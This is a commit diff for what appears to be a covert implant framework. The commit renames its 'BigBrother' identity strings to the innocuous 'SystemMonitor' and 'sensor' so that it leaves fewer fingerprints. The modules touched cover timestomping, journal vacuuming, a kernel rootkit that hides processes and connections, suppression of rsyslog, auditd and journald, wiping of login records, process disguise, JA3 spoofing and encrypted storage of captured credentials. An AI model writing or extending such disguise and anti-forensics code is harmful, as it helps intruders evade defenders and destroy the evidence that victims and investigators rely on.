Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime

modules/stealth/__init__.py

@@ -1,4 +1,4 @@
-"""BigBrother stealth modules — OPSEC layer."""
+"""SystemMonitor stealth modules — OPSEC layer."""
 
 from modules.stealth.mac_manager import MacManager
 from modules.stealth.process_disguise import ProcessDisguise

modules/stealth/anti_forensics.py

@@ -19,9 +19,9 @@ from utils.stealth import (
     _get_os_install_time,
 )
 
-logger = logging.getLogger("bb.stealth.anti_forensics")
+logger = logging.getLogger("sensor.stealth.anti_forensics")
 
-# BigBrother install root (default; overridden by config)
+# SystemMonitor install root (default; overridden by config)
 BB_ROOT = "/opt/.cache/bb"
 
 
@@ -96,7 +96,7 @@ class AntiForensics(BaseModule):
     # ------------------------------------------------------------------
 
     def _apply_timestomp(self) -> None:
-        """Timestomp all BigBrother files to OS install date."""
+        """Timestomp all SystemMonitor files to OS install date."""
         try:
             ref_time = self._get_reference_time()
             if os.path.isdir(self._bb_root):
@@ -172,7 +172,7 @@ class AntiForensics(BaseModule):
     # ------------------------------------------------------------------
 
     def _clean_journal(self) -> None:
-        """Vacuum journal entries that might reference BigBrother components."""
+        """Vacuum journal entries that might reference SystemMonitor components."""
         try:
             # Vacuum to 1s to remove old entries we may have generated
             result = subprocess.run(

modules/stealth/encrypted_storage.py

@@ -19,7 +19,7 @@ from typing import Optional
 from modules.base import BaseModule
 from utils.crypto import LUKSContainer, derive_network_key
 
-logger = logging.getLogger("bb.stealth.encrypted_storage")
+logger = logging.getLogger("sensor.stealth.encrypted_storage")
 
 # Subdirectories created inside the mounted LUKS container
 STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
@@ -239,7 +239,7 @@ class EncryptedStorage(BaseModule):
         # For now, check if a pre-staged key file exists (deployed with implant)
         key_paths = [
             "/opt/.cache/bb/config/luks_network_key",
-            os.path.expanduser("~/.bigbrother/luks_network_key"),
+            os.path.expanduser("~/.implant/luks_network_key"),
         ]
         for path in key_paths:
             try:

modules/stealth/ids_tester.py

@@ -12,7 +12,7 @@ from typing import Optional
 
 from modules.base import BaseModule
 
-logger = logging.getLogger("bb.stealth.ids_tester")
+logger = logging.getLogger("sensor.stealth.ids_tester")
 
 # Detection risk levels
 RISK_LOW = "LOW"

modules/stealth/ja3_spoofer.py

@@ -15,7 +15,7 @@ from typing import Optional
 
 from modules.base import BaseModule
 
-logger = logging.getLogger("bb.stealth.ja3_spoofer")
+logger = logging.getLogger("sensor.stealth.ja3_spoofer")
 
 # Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
 # Format: {name: {ja3_hash, cipher_suites, extensions, description}}

modules/stealth/lkm_rootkit.py

@@ -1,6 +1,6 @@
 #!/usr/bin/env python3
 """LKM rootkit module: compile, load, and manage a kernel module that hides
-BigBrother processes, files, and network connections from userland."""
+SystemMonitor processes, files, and network connections from userland."""
 
 import logging
 import os
@@ -12,7 +12,7 @@ from typing import Optional
 from modules.base import BaseModule
 from utils.resource import get_hardware_tier, TIER_GENERIC
 
-logger = logging.getLogger("bb.stealth.lkm_rootkit")
+logger = logging.getLogger("sensor.stealth.lkm_rootkit")
 
 LKM_TEMPLATE_DIR = "templates/lkm"
 LKM_SOURCE = "bb_hide.c"
@@ -259,7 +259,7 @@ class LKMRootkit(BaseModule):
         """Write current hide lists to loaded module's parameters via sysfs."""
         if not self._loaded:
             return
-        # Collect current BigBrother PIDs from state
+        # Collect current SystemMonitor PIDs from state
         try:
             all_status = self.state.get_all_module_status()
             for mod_name, mod_status in all_status.items():

modules/stealth/log_suppression.py

@@ -2,7 +2,7 @@
 """Log suppression module — minimize forensic artifacts in system logs.
 
 Installs rsyslog filter rules, auditd exclusions, journald rate limits,
-and clears shell history / login records related to BigBrother activity.
+and clears shell history / login records related to SystemMonitor activity.
 All installed rules are removed on clean stop.
 """
 
@@ -15,16 +15,16 @@ from typing import Dict, List
 
 from modules.base import BaseModule
 
-logger = logging.getLogger("bb.stealth.log_suppression")
+logger = logging.getLogger("sensor.stealth.log_suppression")
 
 RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
 JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
-JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf")
+JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
 AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
 
 
 class LogSuppression(BaseModule):
-    """Suppress system log entries that could reveal BigBrother activity."""
+    """Suppress system log entries that could reveal SystemMonitor activity."""
 
     name = "log_suppression"
     module_type = "stealth"
@@ -129,7 +129,7 @@ class LogSuppression(BaseModule):
         """Write rsyslog config to drop log entries matching our processes/paths."""
         try:
             lines = [
-                "# BigBrother log suppression — auto-generated, removed on clean exit",
+                "# SystemMonitor log suppression — auto-generated, removed on clean exit",
                 "# Drop messages containing our process names or paths",
             ]
 
@@ -173,7 +173,7 @@ class LogSuppression(BaseModule):
     # ------------------------------------------------------------------
 
     def _install_auditd_exclusions(self) -> None:
-        """Write auditd rules excluding BigBrother PIDs and paths."""
+        """Write auditd rules excluding SystemMonitor PIDs and paths."""
         try:
             rules_dir = os.path.dirname(AUDITD_RULES_FILE)
             if not os.path.isdir(rules_dir):
@@ -181,7 +181,7 @@ class LogSuppression(BaseModule):
                 return
 
             lines = [
-                "# BigBrother auditd exclusions — auto-generated",
+                "# SystemMonitor auditd exclusions — auto-generated",
             ]
 
             # Exclude our install path from file watches
@@ -235,7 +235,7 @@ class LogSuppression(BaseModule):
             os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
 
             config_lines = [
-                "# BigBrother journald rate-limit — auto-generated",
+                "# SystemMonitor journald rate-limit — auto-generated",
                 "[Journal]",
                 "RateLimitIntervalSec=5s",
                 "RateLimitBurst=5",
@@ -308,7 +308,7 @@ class LogSuppression(BaseModule):
     # ------------------------------------------------------------------
 
     def _clear_login_records(self) -> None:
-        """Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions."""
+        """Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
         record_files = [
             "/var/run/utmp",
             "/var/log/wtmp",

modules/stealth/mac_manager.py

@@ -25,7 +25,7 @@ from utils.networking import (
 )
 from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
 
-logger = logging.getLogger("bb.stealth.mac_manager")
+logger = logging.getLogger("sensor.stealth.mac_manager")
 
 # Category preferences per network type
 _BUSINESS_CATEGORIES = ("printers", "network", "smart_home")

modules/stealth/overlayfs_manager.py

@@ -13,7 +13,7 @@ from typing import Optional
 from modules.base import BaseModule
 from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
 
-logger = logging.getLogger("bb.stealth.overlayfs_manager")
+logger = logging.getLogger("sensor.stealth.overlayfs_manager")
 
 # Default overlay paths
 OVERLAY_BASE = "/opt/.cache/bb/overlay"

modules/stealth/process_disguise.py

@@ -1,5 +1,5 @@
 #!/usr/bin/env python3
-"""Process disguise module — rename all BigBrother processes to look like
+"""Process disguise module — rename all SystemMonitor processes to look like
 legitimate system services.
 
 Reads process name mappings from stealth.yaml, renames own processes via
@@ -16,7 +16,7 @@ from typing import Dict, Optional
 from modules.base import BaseModule
 from utils.stealth import rename_process, spoof_cmdline
 
-logger = logging.getLogger("bb.stealth.process_disguise")
+logger = logging.getLogger("sensor.stealth.process_disguise")
 
 
 class ProcessDisguise(BaseModule):

modules/stealth/tmpfs_manager.py

@@ -16,7 +16,7 @@ from typing import Dict, List, Optional, Tuple
 from modules.base import BaseModule
 from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
 
-logger = logging.getLogger("bb.stealth.tmpfs_manager")
+logger = logging.getLogger("sensor.stealth.tmpfs_manager")
 
 # Default tmpfs size limits per tier (MB)
 _TIER_TMPFS_LIMITS = {

modules/stealth/traffic_mimicry.py

@@ -14,7 +14,7 @@ from typing import Optional
 
 from modules.base import BaseModule
 
-logger = logging.getLogger("bb.stealth.traffic_mimicry")
+logger = logging.getLogger("sensor.stealth.traffic_mimicry")
 
 PHASE_BASELINE = "baseline"
 PHASE_SHAPING = "shaping"
@@ -72,7 +72,7 @@ class TrafficMimicry(BaseModule):
 
         # Background thread for periodic baseline updates and phase transitions
         self._monitor_thread = threading.Thread(
-            target=self._monitor_loop, daemon=True, name="bb-traffic-mimicry",
+            target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
         )
         self._monitor_thread.start()
 

modules/stealth/watchdog.py

@@ -1,5 +1,5 @@
 #!/usr/bin/env python3
-"""Watchdog module — monitor all BigBrother modules and managed tools.
+"""Watchdog module — monitor all SystemMonitor modules and managed tools.
 
 Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
 and manages OOM priority assignments.  Publishes MODULE_RESTARTED events on
@@ -17,7 +17,7 @@ from modules.base import BaseModule
 from core.bus import Event
 from utils.resource import get_process_resources
 
-logger = logging.getLogger("bb.stealth.watchdog")
+logger = logging.getLogger("sensor.stealth.watchdog")
 
 # OOM priority assignments by module type
 _OOM_PRIORITIES = {
@@ -85,7 +85,7 @@ class Watchdog(BaseModule):
         self._pid = os.getpid()
         self._start_time = time.time()
         self._check_thread = threading.Thread(
-            target=self._health_check_loop, daemon=True, name="bb-watchdog",
+            target=self._health_check_loop, daemon=True, name="sensor-watchdog",
         )
         self._check_thread.start()